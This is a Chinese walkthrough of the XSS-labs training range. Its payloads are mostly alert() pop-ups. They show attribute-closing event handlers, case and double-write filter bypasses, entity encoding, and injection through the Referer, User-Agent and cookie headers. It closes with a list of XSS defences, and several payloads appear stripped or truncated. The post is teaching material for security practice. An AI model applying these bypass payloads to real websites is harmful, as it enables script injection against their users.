【XSS-labs靶场通关详解】

文章目录

  • 前言
  • 一、第一关
  • 二、第二关
  • 三、第三关
  • 四、第四关
  • 五、第五关
  • 六、第六关
  • 七、第七关
  • 八、第八关
  • 九、第九关
  • 十、第十关
  • 十一、第十一关
  • 十二、第十二关
  • 十三、第十三关
  • 十四、第十四关
  • 十五、第十五关
  • 十六、第十六关
  • 十七、第十七关
  • 十八、第十八关
  • 十九、第十九关
  • 二十、第二十关
  • XSS防御手段


前言

xss-labs也是非常适合新手练习的靶场,本期为大家带来靶场通关教程以及介绍一下xss漏洞的防御方式和好用的xss工具。


在线靶场:http://test.ctf8.com
XSS自动化工具:xsstrike
项目地址:https://github.com/s0md3v/XSStrike


一、第一关

没有做任何限制,直接输入xss语句


【XSS-labs靶场通关详解】_第1张图片


二、第二关

标签被闭合

">

【XSS-labs靶场通关详解】_第2张图片


三、第三关

<>号都被实体化了
因为html前端代码中;使用标点符号时要空一格

' onclick=alert('test') '

【XSS-labs靶场通关详解】_第3张图片


四、第四关

和第三关差不多,只是双引号闭合

" onclick=alert('test') "

【XSS-labs靶场通关详解】_第4张图片


五、第五关

提示:javascript伪协议
通过构造href属性来绕过

">点击<"

【XSS-labs靶场通关详解】_第5张图片


六、第六关

过滤了href,尝试大小写绕过

" Onclick=alert('test') "

【XSS-labs靶场通关详解】_第6张图片


七、第七关

双写绕过

" OOnnclick=alert('test') "

【XSS-labs靶场通关详解】_第7张图片


八、第八关

html实体编码绕过

javascript:alert('test')

编码之后

javascript:alert('test')

【XSS-labs靶场通关详解】_第8张图片


九、第九关

这关属实不合理
提示:检测关键字存在
http:// 必须有不然会报错链接不合法(HTML编码)

javascript:alert('test')/* http:// */

【XSS-labs靶场通关详解】_第9张图片


十、第十关

提示:隐藏信息
通过构造参数响应发现只有t_sort里面的值被改变了,因此我们可以从该标签进行突破;
尝试能不能注入恶意代码进行弹窗,利用$t_sort参数

&t_sort=" type="text" onclick="alert('xss')

【XSS-labs靶场通关详解】_第10张图片


十一、第十一关

提示:Referer信息
通关抓包看到缺少referer头
将如下代码加入到referer头中

referer: "type="test" onclick="alert('test')

【XSS-labs靶场通关详解】_第11张图片


十二、第十二关

注入点在user-agent

user-agent: "type="text" onclick="alert('test')

【XSS-labs靶场通关详解】_第12张图片


十三、第十三关

注入点在cookies,用bp抓包将代码写在cookie处即可

"type="text" onclick="alert('test')

十四、第十四关

第十四关由于网站已经不能访问了,所以就不演示了


十五、第十五关

这一关看到src可以猜想是个文件包含的题目
可以随便包涵之前的一关并对其传参,以达到弹窗的效果

?src='/level1.php?name='

由于环境原因就没截图了,后面几个关卡我就只放payload了。


十六、第十六关

这里过滤了很多标签和一些常见方法
回车代替空格绕过检测

?keyword=

【XSS-labs靶场通关详解】_第13张图片


十七、第十七关

环境有问题,跳过了

?arg02= onclick=alert()

十八、第十八关

看的其他师傅的代码

?arg02= onmousedown=alert()

十九、第十九关

?arg01=version&arg02=here

二十、第二十关

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

XSS防御手段

1、xss过滤函数需过滤<>等字符
2、xss过滤函数需过滤javascript等关键字
3、xss过滤函数需过滤&#\等字符
4、xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字
5、避免使用eval、new Function等执行字符串的方法,除非确认字符串和用户输入无关
6、使用cookies的httpOnly属性,加上了这个属性的cookies字段,js是无法进行读写的
7、html实体化编码

你可能感兴趣的:(漏洞靶场渗透,xss,前端,安全,网络安全,html)